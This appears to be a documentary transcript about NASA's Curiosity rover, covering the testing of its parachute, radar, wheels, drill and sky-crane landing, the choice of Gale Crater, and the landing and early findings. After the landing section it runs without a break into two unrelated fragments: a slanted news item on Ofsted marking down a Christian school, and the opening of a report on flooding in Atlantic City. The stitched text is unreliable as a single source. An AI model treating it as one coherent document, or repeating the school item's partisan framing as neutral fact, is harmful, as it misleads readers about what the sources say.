What keeps drawing us back to the Red Planet? Mars may be only half the size of Earth, but it has grandeur: the largest known canyon in our solar system slices across its equator, roughly 10 times longer and three times deeper than the Grand Canyon on Earth; the tallest volcano in the solar system rises 16 miles above the Martian plain; colossal craters punctuate the planet—beautiful, but there's nothing welcoming about this place.
Mars lacks a global magnetic field to protect it from the solar wind. Blasted by radiation, its atmosphere, mostly carbon dioxide, is 100 times thinner than Earth's, too thin to trap much heat. Temperatures can rise above freezing at the equator during the Martian summer, but mostly the surface is frigid, averaging around minus-64 degrees Fahrenheit.
Liquid water would vaporize or freeze solid almost instantly on Mars today, and yet, water has left its mark all over the planet: river valleys, deltas, landscapes scoured by massive floods.
JOHN GROTZINGER: Most experts would agree that, three-and-a-half- to four billion years ago, on Mars, there was probably significantly more water, in lakes, as flowing rivers at times. To some extent, Mars is like a twin of Earth, early in its history.
NARRATOR: Back when Mars was awash with water, did life take hold there? What transformed the planet into a frozen wasteland? Could there be life on Mars today? These are the questions that lead us back to the Red Planet time and again.
NASA's latest mission is the Mars Science Laboratory, or M.S.L. Its crown jewel is a rover named Curiosity, the most complex robotic spacecraft ever destined for another planet.
ADAM STELTZNER: I love the fact that our rover is named Curiosity, because I think that's why she exists.
JAIME WAYDO: You hear us talk about her as if she's a person, because, to us, she is.
NARRATOR: Curiosity's a marvel of technology: packed with custom-made science instruments, wired for interplanetary communication, and powered by a nuclear battery, everything she needs to complete her two-year mission in the extremes of Mars.
JOHN GROTZINGER: The goal of this mission is to undertake the search for habitable environments. What it reduces to is the search for three very simple ingredients for life itself.
NARRATOR: On Earth, all living things rely on these three essentials: a source of energy, like the sun above or volcanic activity below; liquid water; and organic compounds, carbon-based molecules that are the building blocks of all life.
Has Mars ever had what it takes to support life? This rover is equipped to find out, by analyzing the rocks and soils of the Red Planet. Curiosity is as close as we can get to sending a field geologist, like John Grotzinger, to Mars.
JOHN GROTZINGER: When a geologist looks at a landscape like this, on Earth, we're looking for a way to unravel what the early environmental history of the planet was. Now, on Mars, with Curiosity, we can do the same thing.
NARRATOR: But Curiosity carries tools that Earth geologists would envy.
JOHN GROTZINGER: Every geologist has a hand lens to look at the grains that make up the rock. Curiosity has the equivalent, the MAHLI instrument.
NARRATOR: The Mars Hand Lens Imager, or MAHLI, can view rocks up close or from afar.
JOHN GROTZINGER: We can focus the lens to different distances, depending on what we're looking at. So it'll actually be better than this.
Photography is really important because it creates a context for all of the other measurements and observations. Curiosity has seventeen cameras. We've got telephoto capability, mid-range to near-field, and we can also capture video.
NARRATOR: To collect rock samples, a geologist uses a basic rock hammer.
JOHN GROTZINGER: We use it to get rock that is not exposed at the surface of the Earth, for doing the geochemical analysis that tells us about the origin of the rock.
NARRATOR: Curiosity has more advanced techniques for tackling rock, like a laser that can vaporize a spot the size of a pinhead up to 25 feet away. A flash of colored light is released, revealing the rock's chemical composition. The rover also has a drill that pulverizes rock and collects the resulting powder.
JOHN GROTZINGER: On Earth, we'd have to take the piece that we broke back to the lab, to do the analysis there. With Curiosity, we bring the lab to the field.
NARRATOR: The rover's robotic arm feeds powdered rock and soil to two miniaturized laboratories inside the rover. One lab uses x-ray beams to identify minerals, the other tests for the presence of organic molecules that may have been associated with life.
JOHN GROTZINGER: What's important about organic molecules is that you don't have to have an actual fossil of an organism left behind, in order to detect the former presence of life. So, we're not doing life detection, but we can look for these organic compounds.
NARRATOR: Curiosity's capabilities herald a new era of Mars exploration.
MICHAEL WATKINS (Mission Manager, Mars Science Laboratory): This is a mission that really advances our knowledge of Mars in a way that we just weren't capable of doing in the past. We're taking fifteen times more scientific equipment with us, this time. And, therefore, the rover that drives that around on Mars has to be that much bigger.
NARRATOR: Curiosity weighs nearly one ton, more than twice the combined weight of all previous Mars rovers. And, when it comes to landing on Mars, every pound matters.
ASHWIN VASAVADA (Deputy Project Scientist, Mars Science Laboratory): We knew we needed a new landing system. We'd never landed anything this big on Mars before.
NARRATOR: All the successful landings have used the same techniques, up to a point: the vehicle is packed in a back shell, with a heat shield to protect it from the friction of entering Mars' atmosphere; then a parachute takes over. But the Martian atmosphere is too thin to slow the descent all the way to a soft touchdown. So what are the options? Giant airbags allowed previous rovers to bounce to safe landings.
TOM RIVELLINI (Entry, Descent and Landing Mechanical System Lead): But, as it turns out, this rover was essentially too big to make airbags be the right solution. We looked at that, and the airbags wound up just being big and heavy. So we said, "Okay, let's come up with something else."
NARRATOR: A rocket-powered descent, on a lander with legs, was a more traditional approach.
ROB MANNING (Chief Engineer, Mars Science Laboratory): That's how you're supposed to do it. You're supposed to land with your rocket below you, climb down the ladder, and explore. That's how Buck Rogers did it; that's how the Apollo astronauts did it.
ADAM STELTZNER: But we could see a legged lander system would be too top-heavy, with a big rover sitting on top of it.
ROB MANNING: So we said to ourselves, "Why don't we turn it upside-down? Let's flip it around, and put the rocket on the roof and land the rover on its wheels below."
TOM RIVELLINI: We just started burrowing in on this idea of this rocket-powered jetpack with the rover dangling below it.
BOBAK FERDOWSI (Mission Planner, Mars Science Laboratory): Looking at it, it's not intuitive. I think we affectionately called it "hope on a rope," at one point.
NARRATOR: They added a new twist to the old landing systems. It goes like this: Curiosity hits Mars' atmosphere at 13,000 miles per hour; friction slows the spacecraft to 900 miles per hour, then the parachute is deployed; a mile above the surface, the descent stage drops away and fires up its rockets; then, something called "the sky crane maneuver" begins. The descent stage lowers the rover on cables; upon touchdown, the cables are cut, and the descent stage flies off to crash at a safe distance. The entire sequence takes just seven minutes and requires perfect precision.
TOM RIVELLINI: Literally, millions of little things have to go just right, like a chain, for success at the bottom of the chain, or it's just game over.
NARRATOR: To show off their brave new landing system, the engineers created a short video presentation. It was not a runaway hit.
ASHWIN VASAVADA: Some of our NASA bosses, they just were in horror after seeing this video.
JOHN GROTZINGER: It's the kind of thing that you wonder if they're going to be taking odds on it in Vegas.
BRANDON METZ (Robotic Systems Engineer, Mars Science Laboratory): The landing sequence, it's just, like, surreal of, like, "Really? We're going to do that?"
TOM RIVELLINI: Probably the biggest challenge in the sky crane system was credibility, trying to convince people that the sky crane system was not an insane contraption, but was actually a very elegant piece of machinery.
NARRATOR: To prove their design, they had to test it, but that became its own challenge.
ADAM STELTZNER: Here on Earth, you cannot test one large simulation that takes us from above the atmosphere down to the surface of Mars, not the right atmosphere, not the right gravity.
ROB MANNING: So, we have to break the testing down in lots of little pieces, and, by looking at these little individual parts of our testing, convince ourselves the whole will work.
NARRATOR: Piece by piece, team by team, testing this new landing system would take years.
Curiosity's parachute would be the largest ever flown on another world: 51 feet in diameter, capable of withstanding 65,000 pounds of force. To test it, a team set out for the largest wind tunnel in the world, at NASA Ames Research Center.
ADAM STELTZNER: We felt confident that the parachute was designed correctly and that these tests would go smoothly.
NARRATOR: Their first test was a winner.
DOUGLAS ADAMS (Parachute Cognizant Engineer, Mars Science Laboratory): The parachute opens, the building shakes, and you see this thing flying in the air, and the data, and everybody's excited, and it's tremendous.
NARRATOR: They moved on to test number two.
TECHNICIAN: Three, two, one, fire!
Bad chute!
DOUGLAS ADAMS: Catastrophic failure. It blew up…little pieces of parachute all over, and it just…a bag of rags at the end of the tunnel. The parachute is…it's a loss.
It's almost like you lost a friend or something, you know? Fallen comrade in the wind tunnel. And it caught us by surprise. We didn't expect that.
NARRATOR: The team was devastated.
TOM RIVELLINI: That basically kicked off a forensic test program to figure out why that parachute exploded so catastrophically, and was this a threat to the Mars mission?
NARRATOR: All they had was a grainy video of the failure. They needed better data.
ADAM STELTZNER: So we went out and we got 13, I believe, maybe 14 cameras: high resolution, high-speed video, all sorts of different angles.
DOUGLAS ADAMS: You know, if this thing happened again, if something bad happened again, we were going to catch it, this time.
NARRATOR: They resumed testing, hoping for the worst.
TOM RIVELLINI: We ran the first test. The parachute opened up, just as you would want it to, and we were disappointed.
ADAM STELTZNER: And we test again, good chute again; good chute again; and again. And we're like, "Well, jeez, if we don't see this problem again, it's going to be even worse!" It'd be better to capture it in high resolution, so we can understand what was going on, rather than just have this one-off occurrence.
NARRATOR: Failure did not come easily. It took six more tries.
TOM RIVELLINI: We were all really happy, all of a sudden. The parachute had exploded, but we were even happier, because all of the camera footage that we had put in place caught the smoking gun.
NARRATOR: What they had captured was an inversion. It occurs when the edge of one side of the parachute slips through the lines on the opposite side. A pocket of fabric catches air and inflates, pulling the parachute inside out and tearing it apart.
Could an inversion happen on Mars? The team had to find out.
DOUGLAS ADAMS: Looks like we have just as high a risk of an inversion.
NARRATOR: They studied the videos for months.
DOUGLAS ADAMS: This is much less organized than it is here.
NARRATOR: And then it dawned on them. In the wind tunnel, the parachute took much longer to inflate than it would in the Martian atmosphere.
TOM RIVELLINI: On Mars, when you pop out your parachute, a second later, it's open. In the wind tunnel, it takes six seconds, seven seconds, eight seconds.
ADAM STELZTNER: And so, waiting to fill up this bag of air, the flapping of the parachute can allow bits of it to overlap and then be pulled through and invert.
NARRATOR: And the risk of an inversion was even greater because of another test condition.
DOUGLAS ADAMS: We were deploying the parachute sideways, so gravity is pulling the parachute down. That causes the top of the parachute to fall through the bottom of the parachute.
NARRATOR: This won't occur on Mars, where the parachute will deploy upward.
TOM RIVELLINI: It took a long time to actually figure out that this was an Earth test problem and not a Mars problem. It was a real nail-biter. Since we've only got one parachute, you, kind of, got to get it right.
NARRATOR: The team was confident that, on Mars, their parachute would perform according to plan.
Shortly after the parachute opens and the heat shield drops away, the radar system begins to play a critical role. By bouncing radio waves off the surface of Mars, the radar measures Curiosity's altitude and speed. Those measurements tell Curiosity when it's time to begin the powered descent, and then the sky crane maneuver. Perfect timing is key to a perfect touchdown.
Curiosity's cutting-edge radar is composed of six high-power, narrow-beam antennas mounted to the descent stage. Each antenna takes 20 measurements per second, for unprecedented range and accuracy…at least in theory.
STEVEN LEE (Control Systems Manager, Mars Science Laboratory): We had to be able to test the radar under all the conditions that it could be exposed to at Mars. And that is a very wide range of altitudes.
NARRATOR: The radar kicks in about five miles above the surface of Mars, while falling nearly three hundred miles per hour. So Steven Lee and his team took their system to NASA's Dryden Flight Research Center. They mounted a radar antenna below the wing of an F/A-18 supersonic jet, for a series of daredevil flights.
The pilot would climb to 50,000 feet, slow down, roll over and fall from the sky. During those five- to eight-second drops, the radar sent measurements of altitude and speed. The numbers were spot on.
The team mounted the radar to the nose of a helicopter for tests at lower altitudes, over the Mars-like terrain of the Mojave Desert.
JIM MONTGOMERY: We flew over lava flows. We flew over sand dunes.
STEVEN LEE: We flew around a crater that has a lot of shapes that are very similar to what we will see on Mars.
NARRATOR: But the sky crane maneuver posed a problem for the radar. As the rover is lowered to the ground, it can interfere with some of the beams, which would confuse the radar.
The engineers decided to shut down four beams and angle two beams away from the rover. But would that provide enough data for a safe touchdown? They devised an elaborate test.
ADAM STELTZNER: Underneath the helicopter, we had a radar mockup of the rover that we would lower and raise, so that we could look at how the radar might bounce off the rover and spoof and confuse the radar.
Now he's bringing it down!
If we get through that test, and the radar isn't spoofed by a model of the rover jumping out in front of it, we're really good for Mars.
STEVEN LEE: We found that two beams, even if they're angled up and away from where the rover is going to be, were enough to tell us how fast we were moving towards the ground.
NARRATOR: The radar's job will be over once Curiosity makes contact with the ground. But what will protect the rover from the impact of touchdown?
Jaime Waydo led the team that designed and built Curiosity's mobility system, the six wheels, suspension and other mechanisms that allow the rover to roll over terrain. This system also had to function as Curiosity's landing gear.
JAIME WAYDO: The rover touches down at almost three feet a second, which doesn't sound that fast, but some of those loads are 2,500 pounds, going into each individual wheel. And what the wheels don't absorb goes into the suspension. We're just trying to make sure that all of those precious science instruments are safe.
NARRATOR: They needed a way to make the system as strong, yet as light as possible. Inspiration rolled in on two wheels.
JAIME WAYDO: If you look at the modern bicycle, they do amazing things with shaping the tubes of the bicycle frame, for the stiffnesses they want, in every direction. And so, we talked to a bicycle company that makes titanium bikes, and they helped us build the suspension tubes.
NARRATOR: Curiosity's wheels were redesigned as well.
JAIME WAYDO: We ended up taking a bicycle wheel and making it as strong as possible and taking that to the extreme and making it, basically, a Martian bicycle wheel.
NARRATOR: Curving titanium spokes and a pliable aluminum skin would make the wheels tough but resilient.
Waydo and her team would test their new system in stages.
JAIME WAYDO: We're going to do our final countdown and then we'll test.
NARRATOR: They used a model rover, without its wheels, to check the mechanisms that release the mobility system during the sky crane maneuver. The rover has just six seconds to pop its wheels into place for touchdown.
JAIME WAYDO: That test was really focused on making sure that, as mobility is deploying, there's nothing that's going to hang up, that all of the cables can move smoothly and they're not going to catch on each other.
NARRATOR: Small pyrotechnics would release the latches that hold the system close to the rover's body.
ADAM STELTZNER: I don't think any of us really thought it would be as violent, as noisy or as herkedy-jerkedy of an event. From amongst a human perspective, there was a lot of, "Oh, my god, is that, is that right?"
JAIME WAYDO: It's not graceful. But it's what you do to get 200 pounds of hardware to go 60 degrees in six seconds and be ready for landing.
NARRATOR: Waydo's team used a stripped-down rover model to measure the stresses of touchdown.
This simulation was also a test of Waydo's nerves.
JAIME WAYDO: My hands are sweating, and my throat is getting dry, and I'm looking at it going, "Oh, my goodness. Oh, my goodness." And then, they let it go, and she hit, and it was so hard. And I was like, "You can't do that to our baby! That's too much! That's too hard!"
ADAM STELTZNER: It's like that old Vaudeville joke, right? It's not the fall that kills you, it's the landing, right?
JAIME WAYDO: That's extremely brutal. And then, you realize, "No, we designed her for that. She's good for that. It's okay." But that tangible, visceral, "What does landing look like?" is much different on a computer simulation than, than the first time you see it for real.
TOM RIVELLINI: Congratulations, Jaime.
ROB MANNING: The great thing about landing on your wheels is that you're ready, you've landed! Now, you can drive around the surface of Mars and go do great science and do some exploration.
NARRATOR: To prove Curiosity's driving abilities, test rovers racked up mileage over all kinds of terrain.
SAVANNAH MCCOY: Brakes engaged; motion complete.
NARRATOR: Sand dunes had been a problem for previous Mars rovers,…
JOHN GROTZINGER: Still making progress.
NARRATOR: …but Curiosity's wide wheels seem unsinkable.
JOHN GROTZINGER: Let's get it really stuck.
ADAM STELTZNER: Okay.
JOHN GROTZINGER: This is good, Adam. This is what I was hoping for.
ADAM STELTZNER: What I'm learning is that it's really hard to get this thing stuck.
STEVEN LEE: That's why we're here!
NARRATOR: With each test, Mars seems closer than ever.
We've been exploring Mars for half a century, but dreaming about it for ages.
NARRATION: Life forms on Mars may have developed special ways of preserving their water content.
NARRATOR: We once imagined it might harbor strange flora and fauna, even intelligent life.
NARRATION: Are they planning an invasion?
NARRATOR: Then, in the 1960s, space probes began to transmit the first close-up images of the surface: no cities; no oceans or forests. If there was life on Mars, it was microscopic.
In 1976, NASA achieved its first landings on Mars. Two Viking spacecraft, on opposite sides of the planet, tested the soil for living organisms. They found no conclusive signs of life and not a single organic compound. Mars was declared dead.
ASHWIN VASAVADA: Then we, kind of, because of that disappointment, took a break from exploring Mars, for over a decade.
NARRATOR: When we returned to Mars, we pursued a different line of reasoning: if Mars ever had life as we know it, it would have needed liquid water. Those channels and valleys looked like they'd been carved by water, but what if some other force, like lava flows had created them?
NASA's exploration strategy became "follow the water." A new generation of orbiters began to scour the Martian surface.
PHIL CHRISTENSEN (Arizona State University): The beauty of orbit is you can send a lot of instruments. These orbiters are pretty big. We've flown cameras that can actually measure the temperature of the surface, lasers that can measure the height of the mountains, and spectrometers that can map what minerals are present. So, from orbit, we can map the entire planet and figure out where all the goodies are.
NARRATOR: One satellite pinpointed an area rich in hematite, a mineral that forms in water.
PHIL CHRISTENSEN: If I was going to try to find where to land on Mars and look for water, this place is screaming, you know, "Come here!"
NARRATOR: A rover named Opportunity was sent to investigate. Scores of tiny spheres were scattered on the ground and embedded in layered rock.
STEVE SQUYRES (Cornell University): The fact that these rocks are layered says that one possible origin for these is that they were laid down in liquid water. And we have, on our rover, a toolkit of gizmos that will tell us that answer.
NARRATOR: Opportunity determined these were spheres of hematite that had formed, like pearls in oysters, when the rock was saturated with salty water.
STEVE SQUYRES: We think we're parked on what was once the shore of a salty sea on Mars. That's pretty cool.
NARRATOR: Finally, proof of liquid water, discovered on Mars.
On the opposite side of the planet, Opportunity's twin, a rover named Spirit, explored a site thought to be an ancient lake. Spirit uncovered soil so rich in bright white silica, that water and intense heat must have been involved in its creation. It seems ancient Mars may have bubbled with hot springs.
The strategy of "follow the water" also revealed the presence of water on Mars today. An orbiter detected vast amounts of hydrogen, depicted in blue, just beneath the planet's surface. Hydrogen is often a sign of H2O, water. Could all this blue be ice?
A lander, named Phoenix, tested the idea in the north polar region. It dug a shallow trench and exposed mysterious white clumps.
PETER SMITH: We found some bluish ice-like material that has the science team arguing incessantly about whether it's ice or salt or some other exotic material.
SCIENTIST: That is ice!
NARRATOR: In days, the clumps vaporized. It was water ice. Mars has enough near-surface water ice that, melted, it would cover the planet in a sea, at least 30 feet deep.
There are even hints that liquid water may appear, fleetingly, on Mars today. In the southern hemisphere, in spring, dark streaks appear in steep gullies and extend downhill, then fade away in the fall. Some scientists believe the streaks may be caused by salty water flowing just beneath the surface.
PHIL CHRISTENSEN: This big picture orbital view really has just revolutionized how we think about Mars. There are incredible mineral deposits, rocks that formed in lakes and hot springs. We even think there might be water that's flowing in little channels today.
NARRATOR: And recently, orbiters and Earth-based telescopes detected something surprising in the Martian atmosphere: trace amounts of methane gas.
On Earth, methane can be produced by geologic activity, but most is generated by microorganisms, as a waste product. Today, Mars has no active volcanoes and no apparent life on its surface, so what could be the source of its methane? Geologic activity deep within the planet? Subterranean Martian microbes? For now, that remains a mystery, one of many that Mars still holds close. But this much we do know: Mars has had two of the ingredients for life: the energy of the sun and liquid water.
Now Curiosity stands poised to discover the third ingredient: organic molecules, but only if the rover manages to sample Martian rocks and soil. And that depends on the strength and precision of Curiosity's robotic arm.
BRANDON METZ: The robotic arm is extremely complex, because we have five joints. We have what we call the azimuth joint, which is really just kind of…you can think of your shoulder moving back and forth. Then we have elevation, which, again, is like your shoulder moving up and down. And then we have the elbow, which actually works like the elbow; it usually moves like that. And then we have wrist, which is just, kind of, like the wrist: it moves it about here. And then we have turret, which allows us to, like, rotate 360, you know, in either direction. So, so the robotic arm it is really an engineering masterpiece.
NARRATOR: The arm supports a turret of instruments that collect, process and deliver samples to the rover's onboard laboratories. Curiosity will not be the first spacecraft to scoop up Martian soil, but drilling on Mars will be historic.
DANIEL LIMONADI (Surface Sampling Lead, Mars Science Laboratory): We haven't drilled on another planetary body since Apollo.
APOLLO ASTRONAUT: Okay, Bob. I've got my tools of the trade, right here.
DANIEL LIMONADI: Their drills were more challenging in that they needed to get, like, one-meter to two-meter cores, but they had astronauts that could react to the situation. Once you penetrate the surface of another planet, now you have to deal with all kinds of unknowns…
MICHAEL WATKINS: …how to keep the drill perfectly clean; how to isolate it from the mechanical workings of the motors; how to not drill into a rock that will end up clogging the system, so that we can't use it anymore. These are really the big challenges.
NARRATOR: Engineers tested several drill designs before settling on an exceptionally sturdy model.
DANIEL LIMONADI: It's a rotary percussive drill. And that's typically what you would buy to go, to like drill through concrete in your yard or whatever. The main difference is the average person, in their yard, doesn't want to collect the powder. So we have a powder collection system, effectively, around the drill bit.
NARRATOR: The drill's rotation carries the powdered rock up inside the turret, where it's passed through a sieve to filter out larger particles. To keep the sample flowing through the system requires a whole lot of shaking.
DANIEL LIMONADI: Most spacecraft, you try to keep pristinely clean, and then you try not to bang them up more than they have to. We, on purpose, shake the turret really hard, and we know we're going to get dirt everywhere. We have to get used to more violent hardware. It's more like a mining operation a fine precision operation.
MICHAEL WATKINS: Actually, to understand how to build that drill system that doesn't shake the arm apart or shake the rover computer too much was a big challenge.
NARRATOR: But the scariest thing about drilling on Mars is not the vibration or the dust. Curiosity is likely to drill on uneven or steep terrain. If the rover slips, it could yank on the arm and damage it. If the drill gets stuck in the rock, it could anchor the rover in place. But there's a backup plan.
DANIEL LIMONADI: If, heaven forbid, the bit would get stuck, we actually have two spare drill bits. We would un-chuck the bit, leave it there, and then we would grab another one to live another day.
ENGINEER: Three, two, one, go.
NARRATOR: After years of piecemeal testing, a milestone draws a crowd: the first end-to-end sampling test, from drilling to sifting powdered rock to delivering a sample, the equivalent of dropping an aspirin in a thimble.
DANIEL LIMONADI: One of the kind of comedies of scale of this rover, is we have, you know, a 900 kilo rover with a100 kilo arm, and we drop off a little, tiny, you know, sample to each instrument. And that's enough for them to do their science.
NARRATOR: A pinch of powdered rock may tell us whether Mars ever harbored the building blocks of life.
So where should Curiosity touch down to gather that powdered rock? Previous missions needed a vast expanse of smooth, flat terrain for landing. Those spacecraft were aimed at specific sites on Mars, but unpredictable atmospheric conditions, like the density of the atmosphere or the amount of wind, could shift the point of touchdown by miles.
ADAM STELTZNER: We don't know what the atmosphere's going to be like on the day that we land. That spreads out that uncertainty and means it's really hard to find a safe place that's over that huge amount of land.
NARRATOR: But Curiosity can achieve a precision landing, through a technique called guided entry. Just before entering Mars' atmosphere, the spacecraft jettisons two weights. This shifts its center of mass and generates lift, like the lift beneath an airplane wing. Now the spacecraft can fly.
It monitors the atmosphere and fires thrusters to move higher or lower, to bank left or right, adjustments that help it stay on target.
ADAM STELTZNER: And that allowed us to shrink our landing uncertainty, our footprint of where we might end up on the surface, from something more than 100 kilometers to something down around 20 kilometers or maybe even a little less. And that opens up a ton of places to land.
NARRATOR: There were so many possible landing sites for Curiosity, it took more than a hundred experts five years to pick one.
MATT GOLUMBEK: …the breaching of the rim and the creation of what was proposed to be a lake, inside Holden.
NARRATOR: Dozens of sites were analyzed in detail, but all had one thing in common.
SCIENTIST: If you go up through the sequence, there are some incised channels.
PHIL CHRISTENSEN: The starting point was, "Are there interesting minerals there that we think formed in water?" If a site didn't have that, it really wasn't in the running.
NARRATOR: The experts voted, and, finally, a winner was announced: …
ASHWIN VASAVADA: The votes are in!
NARRATOR: …Gale Crater. Nearly a hundred miles across, this ancient impact crater may once have been flooded with water. Today, a mountain of layered rock, named Mount Sharp, rises three miles above the crater floor. Orbiters detected minerals that form in water in the lower layers of the mountain. Upper layers may preserve a record of millions of years of Martian history.
PHIL CHRISTENSEN: And you know, geologists, their eyes light up when they see layered rocks, because that's the storybook.
JOHN GROTZINGER: Exploring Mount Sharp, we start at the bottom, and we go to the top. We drive up through the layers, and we turn through the pages and chapters, and we may not finish the book, but I'm sure it's going to be a good read.
NARRATOR: By the summer of 2011, hardware for the mission has been built and tested. Now, there's a deadline that cannot be missed. Mars takes nearly two years to orbit the Sun. Its distance from Earth changes constantly. The ideal alignment for a Mars launch occurs every 26 months, and that moment is fast approaching.
ROB MANNING: I have had a tradition of pulling out my trumpet as our spacecraft have left J.P.L. The day that it's put in a box and shipped across the country to Florida is the day it's really leaving to Mars.
NARRATOR: The engineers who built Curiosity take her as far as Kennedy Space Center and say goodbye. Then a new team assembles the rover and all her flight components into a spacecraft. The process takes five months and ends at the top of an Atlas V rocket.
On November 26, 2011, it's all systems go.
NASA ANNOUNCER: T minus 10, 9, 8, 7, 6, 5, 4, 3, 2, 1. Lift off of the Atlas Five with Curiosity.
Next stop: Mars.
As the sun begins to set over the Jet Propulsion Laboratory, anticipation is rising.
NEWSCASTER: …finding out whether life ever existed on Mars.
NARRATOR: The real Curiosity is 150-million miles away, just hours from the end of her journey. For the members of the mission team it's a night of mixed emotions.
JIM MONTGOMERY: I just can't even tell you how excited I am. I just want to remember every single moment.
STEVEN LEE: …mostly confident, but there's still that little knot of fear in there.
TOM RIVELLINI: Spend 10 years of your life working on one project, and it either works or doesn't. There's really no in-between.
ADAM STELTZNER: In a few hours, hopefully, there's a new rover on the surface of Mars. It's kind of an emotional time, as you can see. We're wishing for the best. We feel that we've done everything to deserve it, and now it's in the hands of the fates.
NARRATOR: Engineers can still communicate with Curiosity, but during the seven-minute landing sequence, the rover will operate autonomously, based on pre-programmed commands. That's because it takes 14 minutes for signals to travel between the Earth and the rover.
BOBAK FERDOWSI: We can't joystick it from Earth. So when we're sitting there, it's like a time machine. You're just, like, looking back at the past, and you're like, "Okay," you know, "14 minutes ago, this worked," and "14 minutes ago, that worked." And so, it's a very surreal feeling, knowing that it's all been finished, but that you still don't know what happened.
NARRATOR: In moments, Curiosity will hit Mars' atmosphere. Seven minutes later, one way or another, the rover will be on the surface of Mars.
ALAN CHEN: Coming up on entry.
NARRATOR: What the team calls "seven minutes of terror" begins now.
MISSION CONTROL VOICES: Coming up on entry.
Start of guided entry.
Vehicle's continuing to decelerate, down to Mach 2.
Parachute deploy.
We are decelerating.
Heat shield has separated.
We're down to 90 meters per second, at an altitude of 6.5 kilometers, descending.
We are in powered flight.
Standing by for sky crane.
Sky crane has started.
Descending at about point-75 meters per second, as expected.
Tango Delta nominal.
R.I.M.U. stable.
R.I.M.U. stable.
U.H.F. is good.
Touchdown confirmed.
We're safe on Mars!
NARRATOR: Suddenly, they start receiving postcards from Curiosity.
ENGINEER: It's the wheel!
NARRATOR: The equivalent of: "Hello. I'm fine. Wish you were here." And, in a way, the team is there, basking in the sunshine of a Martian afternoon.
From the start, Curiosity has dazzled the mission team with vistas of Gale Crater. Two weeks after landing, she sent snapshots from her first drive, but mission scientists were intrigued by photos of scour marks created by the blast of the landing rockets.
JOHN GROTZINGER: The thrust was so forceful, it blew the soil and the pebbles away, which gave us an opening to the bedrock. We saw that it was composed of fragments of different kinds of material. So, the team began to wonder, gosh, maybe it was kind of a cemented material that had to do with water.
NARRATOR: It was an exciting clue, because the exact nature of the terrain where Curiosity touched down was not known.
Orbital maps suggested water had flowed through a canyon in the northern rim of the crater, carrying rocks and sediments that spread out on the crater floor in what's called an "alluvial fan." But did that fan extend all the way to where Curiosity landed?
Five weeks into the mission, the rover sent back pictures of an outcrop that stunned the science team.
JOHN GROTZINGER: You're like, "My goodness, it looks like somebody got a jackhammer up and lifted up a piece of the sidewalk in New York City." And when you look at the slab, end on, you see pebbles in it. They seem to have rounded edges; they've all been smoothed off a little bit. And so, what that brings to mind immediately is what you see in a, in a riverbed. As the water pushes the pebbles along, they collide with each other, and they progressively get rounder.
NARRATOR: Previous rovers detected shallow seas and hot springs. This is something new.
JOHN GROTZINGER: The team converged pretty much unanimously on this being an ancient pebble deposit, formed in a river that had once been present in this part of Mars, billions of years ago.
NARRATOR: From the size of the pebbles, scientists believe the river flowed vigorously and might have been hip-deep.
JOHN GROTZINGER: This is the first place where we have evidence for water flowing across the surface, and that's something we've never been able to discover before on Mars.
NARRATOR: As Curiosity drives on, she samples Martian soil and discovers minerals similar to those in volcanic soils in Hawaii. In her first sniffs of the atmosphere at Gale Crater, her sensors detect carbon dioxide but no methane. Perhaps methane on Mars is more transient than expected. More tests may tell.
But Curiosity's ultimate destination, perhaps a year's drive away, remains Mount Sharp, with its foothills of ancient layered rock.
JOHN GROTZINGER: When you see those foothills, it looks like a familiar place. It's like you'd almost come home, in a way, to a different part of the Earth, except this is Mars.
ASHWIN VASAVADA: You may as well be in the Mojave Desert or someplace in Utah. It just begs the question, "Why shouldn't Mars have life, just like Earth?" And really, that's why we're here; that's the question we're trying to answer.
The unnamed school, which is a small independent school in the home counties, has been warned that its rating under the Independent Schools Standards framework would be changed from “Good”, to merely “Adequate” because of its failure to meet the new requirements.
The rules, which were introduced after the Islamist ‘Trojan Horse’ scandal to prevent radicalisation of children in Britain’s schools appears to have suffered from the law of unintended consequences as they are now being used to interfere with traditional British schools instead.
The Department for Education (DfE) says promoting “acceptance and engagement” and “tolerance and respect of all faiths and cultures” in schools that teach the state religion now means going a lot further than school trips to Mosques and Temples, which has been the case in the past. The new rules mean the state is forcing faith schools, such as Anglican, Roman Catholic and Jewish schools to invite faith leaders such as Muslim Imams alien to their own traditions to lead lessons.
The Christian Institute has written a letter to the Education Secretary on behalf of one of the schools affected. The Daily Telegraph reports the comments of deputy director Simon Calvert: “Worryingly, evidence is already emerging of how the new regulations are requiring Ofsted inspection teams to behave in ways which do not respect the religious ethos of faith schools… the new requirements are infringing the rights of children, parents, teachers and schools to hold and practise their religious beliefs.
“The Christian Institute is currently working with an independent Christian School which has been marked down by Ofsted for not promoting other faiths. Astonishingly it was told it should invite representatives of other faith groups to lead assemblies and lessons, such as an Imam”.
A spokesperson for school inspectors Ofsted said the change in rules was essential to ensure Britain’s youth left school “well prepared” for “life in modern Britain”.
Amid these crackdowns on good Christian schools, concerns remain among the apparently radicalised Islamic schools which the rules were originally intended to combat. It was reported over the weekend that another six schools had been targeted in London in snap inspections, following “specific concerns” about the standards of education.
“It wasn’t bad when we first moved in here — the flooding wasn’t bad,” DeDomenicis said on a stormy morning in March, after helping her husband put furniture on blocks. She counted down until the tide would start to ebb, using a yardstick to measure the height of floodwaters climbing her patio stairs. She was tracking how many more inches it would take to inundate the ground floor. “When somebody comes by in a car, it splashes up. It hits the door.”
DeDomenicis has lived in this house since 1982, a few hundred feet from a bay. She used to work as a restaurant server; now she’s a school crossing guard. Her husband walked a mile to his job at Bally’s Casino until he retired in January. They’ve seen floods worsen as the seas have risen, as the land beneath them has sunk, and as local infrastructure has rotted away. “It comes in the front door, the back door, and then from the bottom of the house, in through the sides,” DeDomenicis said. “You watch it come in and it meets in the middle of the house — and there’s nothing you can do.”
Two miles east of Arizona Avenue, the U.S. Army Corps of Engineers is spending tens of millions of dollars building a seawall to reduce storm surge and flooding risks for Atlantic City’s downtown and its towering casinos, five of which have closed in the past four years. A few miles in the other direction, it’s preparing to spend tens of millions more on sand dunes to protect million-dollar oceanfront homes.
But the federal government has done little to protect the residents of Arizona Avenue, or the millions of other working class and poor Americans who live near bays up and down the East Coast, from a worsening flooding crisis. Seas are rising as pollution from fossil fuel burning, forest losses and farming fuels global warming, melting ice and expanding ocean water. With municipal budgets stretched thin, lower-income neighborhoods built on low-lying land are enduring some of the worst impacts.
Climate Central scientists analyzed hundreds of coastal American cities and, in 90 of them, projected rapid escalation in the number of roads and homes facing routine inundation. The flooding can destroy vehicles, damage homes, block roads and freeways, hamper emergency operations, foster disease spread by mosquitoes, and cause profound inconveniences for coastal communities.
